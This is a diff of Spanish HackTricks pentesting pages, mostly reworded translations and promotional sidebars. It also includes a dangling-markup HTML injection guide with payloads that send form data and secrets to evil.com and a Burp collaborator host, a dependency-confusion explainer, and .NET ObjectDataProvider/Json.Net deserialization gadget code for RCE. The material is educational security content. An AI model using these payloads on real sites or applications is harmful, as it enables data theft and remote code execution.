* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -17,7 +17,7 @@ Otras formas de apoyar a HackTricks:
## Resumen
Esta técnica se puede utilizar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si no encuentras ninguna forma de explotar un [**XSS**](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
También es útil si algún **secreto se guarda en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
También es útil si algún **secreto se guarda en texto claro** en el HTML y deseas **exfiltrarlo** desde el cliente, o si deseas desviar la ejecución de algún script.
Varias técnicas comentadas aquí se pueden utilizar para evadir algunas [**Políticas de Seguridad de Contenido**](../content-security-policy-csp-bypass/) exfiltrando información de formas inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
@ -53,19 +53,23 @@ steal me'<b>test</b>
```html
<base href='http://evil.com/'>
```
### Robo de formularios 2
Entonces, los formularios que envían datos a una ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
Establece un encabezado de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario serán enviados al atacante.
### Robando formularios 2
### Robo de formularios 3
Establece una cabecera de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá la siguiente cabecera del formulario y todos los datos del formulario serán enviados al atacante.
### Robando formularios 3
El botón puede cambiar la URL a la que se enviará la información del formulario con el atributo "formaction":
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Un atacante puede usar esto para robar la información.
### Robo de secretos en texto claro 2
Utilizando la técnica mencionada anteriormente para robar formularios (inyectando un nuevo encabezado de formulario) puedes luego inyectar un nuevo campo de entrada:
Utilizando la técnica mencionada anteriormente para robar formularios (inyectando un nuevo encabezado de formulario) luego puedes inyectar un nuevo campo de entrada:
```html
<input type='hidden' name='review_body' value="
```
@ -91,7 +95,7 @@ value='fredmbogo'> ← Injected lines
...
</form>
```
### Robando secretos en texto claro a través de noscript
### Robo de secretos en texto claro a través de noscript
`<noscript></noscript>` es una etiqueta cuyo contenido se interpretará si el navegador no admite JavaScript (puedes habilitar/deshabilitar JavaScript en Chrome en [chrome://settings/content/javascript](chrome://settings/content/javascript)).
@ -114,7 +118,7 @@ if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Ataque de espacio de nombres HTML
### Flujo de trabajo de script engañoso 1 - Ataque de espacio de nombres HTML
Inserta una nueva etiqueta con un id dentro del HTML que sobrescribirá la siguiente y con un valor que afectará el flujo de un script. En este ejemplo estás seleccionando con quién se compartirá la información:
```html
@ -181,7 +185,7 @@ Un documento secundario tiene la capacidad de ver y modificar la propiedad `loca
```
Esto se puede mitigar con algo como: `sandbox=' allow-scripts allow-top-navigation'`
Un iframe también puede ser utilizado para filtrar información sensible de una página diferente **utilizando el atributo de nombre del iframe**. Esto se debe a que puedes crear un iframe que se iframe a sí mismo abusando de la inyección de HTML que hace que la **información sensible aparezca dentro del atributo de nombre del iframe** y luego acceder a ese nombre desde el iframe inicial y filtrarlo.
Un iframe también puede ser abusado para filtrar información sensible de una página diferente **usando el atributo de nombre del iframe**. Esto se debe a que puedes crear un iframe que se iframe a sí mismo abusando de la inyección de HTML que hace que la **información sensible aparezca dentro del atributo de nombre del iframe** y luego acceder a ese nombre desde el iframe inicial y filtrarlo.
```html
<script>
function cspBypass(win) {
@ -200,10 +204,10 @@ Se podría usar **`meta http-equiv`** para realizar **varias acciones** como est
Esto se puede **evitar** con un **CSP** con respecto a **http-equiv** (`Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`)
### Nuevo etiqueta HTML \<portal
### Nuevo tag HTML \<portal
Puedes encontrar una investigación muy **interesante** sobre vulnerabilidades explotables de la etiqueta \<portal [aquí](https://research.securitum.com/security-analysis-of-portal-element/).\
En el momento de escribir esto, necesitas habilitar la etiqueta portal en Chrome en `chrome://flags/#enable-portals` o no funcionará.
Puedes encontrar una investigación muy **interesante** sobre vulnerabilidades explotables del tag \<portal [aquí](https://research.securitum.com/security-analysis-of-portal-element/).\
En el momento de escribir esto, necesitas habilitar el tag portal en Chrome en `chrome://flags/#enable-portals` o no funcionará.
```html
<portal src='https://attacker-server?
```
@ -211,7 +215,7 @@ En el momento de escribir esto, necesitas habilitar la etiqueta portal en Chrome
No todas las formas de filtrar conectividad en HTML serán útiles para Dangling Markup, pero a veces podría ayudar. Consúltalas aquí: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Fugas
## SS-Leaks
Esto es una **combinación** entre **dangling markup y XS-Leaks**. Por un lado, la vulnerabilidad permite **inyectar HTML** (pero no JS) en una página de la **misma origen** que la que estaremos atacando. Por otro lado, no **atacaremos** directamente la página donde podemos inyectar HTML, sino **otra página**.
@ -244,10 +248,10 @@ XS-Search está orientado a **filtrar información entre dominios** abusando de
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -18,14 +18,14 @@ Otras formas de apoyar a HackTricks:
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Información Básica
En resumen, una vulnerabilidad de confusión de dependencias ocurre cuando un proyecto está utilizando una biblioteca con un nombre **mal escrito**, **inexistente** o con una **versión no especificada** y el repositorio de dependencias utilizado permite **obtener versiones actualizadas de repositorios públicos**.
En resumen, una vulnerabilidad de confusión de dependencias ocurre cuando un proyecto está utilizando una biblioteca con un nombre **mal escrito**, **inexistente** o con una **versión no especificada** y el repositorio de dependencias utilizado permite **recopilar versiones actualizadas de repositorios públicos**.
* **Mal escrito**: Importar **`reqests`** en lugar de `requests`
* **Inexistente**: Importar `company-logging`, una biblioteca interna que **ya no existe**
@ -35,16 +35,16 @@ Si tu empresa está intentando **importar una biblioteca que no es interna**, es
Es muy común que los desarrolladores **no especifiquen ninguna versión** de la biblioteca utilizada, o especifiquen solo una **versión principal**. Entonces, el intérprete intentará descargar la **última versión** que cumpla con esos requisitos.\
Si la biblioteca es una **biblioteca externa conocida** (como `requests` en Python), un **atacante no puede hacer mucho**, ya que no podrá crear una biblioteca llamada `requests` (a menos que sea el autor original).\
Sin embargo, si la biblioteca es **interna**, como `requests-company` en este ejemplo, si el **repositorio de la biblioteca** permite **verificar nuevas versiones también externamente**, buscará una versión más nueva disponible públicamente.\
Entonces, si un **atacante sabe** que la empresa está utilizando la biblioteca `requests-company` **versión 1.0.1** (permite actualizaciones menores), puede **publicar** la biblioteca `requests-company` **versión 1.0.2** y la empresa **usará esa biblioteca en lugar** de la interna.
Entonces, si un **atacante sabe** que la empresa está utilizando la biblioteca `requests-company` **versión 1.0.1** (permite actualizaciones menores), puede **publicar** la biblioteca `requests-company` **versión 1.0.2** y la empresa **usará esa biblioteca en lugar de la interna**.
## Solución de AWS
## Solución en AWS
Esta vulnerabilidad se encontró en AWS **CodeArtifact** (lee los [**detalles en esta publicación de blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
AWS solucionó esto permitiendo especificar si una biblioteca es interna o externa, para evitar descargar dependencias internas desde repositorios externos.
## Encontrar Bibliotecas Vulnerables
En el [**post original sobre la confusión de dependencias**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) el autor buscó miles de archivos package.json expuestos que contenían las dependencias de proyectos JavaScript.
En el [**post original sobre la confusión de dependencias**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) el autor buscó miles de archivos package.json expuestos que contenían las dependencias de proyectos de JavaScript.
## Referencias
@ -53,12 +53,12 @@ En el [**post original sobre la confusión de dependencias**](https://medium.com
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,22 +1,22 @@
# Deserialización básica en .Net (gadget ObjectDataProvider, ExpandedWrapper y Json.Net)
# Deserialización básica de .Net (gadget ObjectDataProvider, ExpandedWrapper y Json.Net)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de Telegram** o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
Este post está dedicado a **comprender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.
Este post está dedicado a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.
## Gadget ObjectDataProvider
Según la documentación: _la Clase ObjectDataProvider envuelve y crea un objeto que se puede utilizar como origen de enlace_.\
Según la documentación: _la clase ObjectDataProvider envuelve y crea un objeto que se puede utilizar como origen de enlace_.\
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**
@ -28,7 +28,7 @@ Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el cód
![](<../../.gitbook/assets/image (299).png>)
Como puedes observar, cuando se establece `MethodName`, se llama a `base.Refresh()`, veamos qué hace:
Como se puede observar, cuando se establece `MethodName`, se llama a `base.Refresh()`, veamos qué hace:
![](<../../.gitbook/assets/image (300).png>)
@ -40,7 +40,7 @@ Observa que al final del código se llama a `this.QueryWorke(null)`. Veamos qué
![](<../../.gitbook/assets/image (302) (1).png>)
Observa que este no es el código completo de la función `QueryWorker` pero muestra la parte interesante: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
Ten en cuenta que este no es el código completo de la función `QueryWorker` pero muestra la parte interesante: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
Si deseas comprobar que al establecer el _**MethodName**_ se ejecutará, puedes ejecutar este código:
```java
@ -62,16 +62,16 @@ myODP.MethodName = "Start";
}
}
```
Es importante agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`
Note que es necesario agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`
## ExpandedWrapper
Utilizando el exploit anterior, habrá casos en los que el **objeto** se**deserializado como** una instancia de _**ObjectDataProvider**_ (por ejemplo en la vulnerabilidad de DotNetNuke, utilizando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, **no se tendrá conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (`Process` por ejemplo). Puedes encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Utilizando el exploit anterior, habrá casos en los que el **objeto** se va a **deserializar como** una instancia de _**ObjectDataProvider**_ (por ejemplo en la vulnerabilidad de DotNetNuke, utilizando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, no se tendrá **conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (`Process` por ejemplo). Puede encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Esta clase permite **especificar los tipos de objetos que están encapsulados** en una instancia dada. Por lo tanto, esta clase se puede utilizar para encapsular un objeto fuente (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_\*\* dentro de una instancia de \*\*_**ExpandedWrapper** y **al deserializar** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider** dentro de una instancia de **ExpandedWrapper** y **al deserializar** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
Puedes verificar este envoltorio con el siguiente código:
Puede verificar este envoltorio con el siguiente código:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -95,7 +95,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
En la [página web oficial](https://www.newtonsoft.com/json) se indica que esta biblioteca permite **serializar y deserializar cualquier objeto .NET con el potente serializador JSON de Json.NET**. Por lo tanto, si pudiéramos **deserializar el gadget ObjectDataProvider**, podríamos causar una **Ejecución Remota de Código (RCE)** simplemente deserializando un objeto.
En la [página web oficial](https://www.newtonsoft.com/json) se indica que esta biblioteca permite **serializar y deserializar cualquier objeto .NET con el potente serializador JSON de Json.NET**. Por lo tanto, si pudiéramos **deserializar el gadget ObjectDataProvider**, podríamos causar una **RCE** simplemente deserializando un objeto.
### Ejemplo de Json.Net
@ -196,12 +196,12 @@ TypeNameHandling = TypeNameHandling.Auto
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,19 +1,19 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
